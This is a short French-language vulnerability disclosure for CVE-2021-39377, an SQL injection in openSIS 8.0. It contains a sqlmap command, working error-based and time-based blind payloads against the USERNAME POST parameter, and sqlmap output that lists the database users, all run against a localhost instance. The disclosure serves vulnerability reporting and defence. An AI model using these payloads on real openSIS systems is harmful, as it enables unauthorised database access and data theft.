security-n/cve-2021-39377
Une vulnérabilité d'injection SQL existe dans la version 8.0 d'openSIS lorsque MySQL (MariaDB) est utilisé comme base de données de l'application. Un attaquant malveillant peut exécuter des commandes SQL sur la base de données Mysql (MariaDB) via le paramètre vulnérable username=.
Page PHP vulnérable :
index.php - paramètre username
Payload vulnérable
sqlmap "http://localhost:8081/index.php" --users --data="USERNAME=admin&PASSWORD=test1234%21&language=en&log=" --dbms="MySQL" --level=3 --risk=2
Injection SQL :
http://localhost:8081/index.php
Parameter: USERNAME (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: USERNAME=admin') AND (SELECT 4391 FROM(SELECT COUNT(*),CONCAT(0x71716b7071,(SELECT (ELT(4391=4391,1))),0x716b717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IzoO&PASSWORD=test1234!&language=en&log=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: USERNAME=admin') AND (SELECT 2137 FROM (SELECT(SLEEP(5)))BwzJ)-- sbsL&PASSWORD=test1234!&language=en&log=
[22:35:47] [INFO] testing MySQL
[22:35:47] [INFO] confirming MySQL
[22:35:47] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[22:35:47] [INFO] fetching database users
database management system users [3]:
[*] 'mariadb.sys'@'localhost'
[*] 'mysql'@'localhost'
[*] 'root'@'localhost'
Découvert par Nathan Johnson, août 2021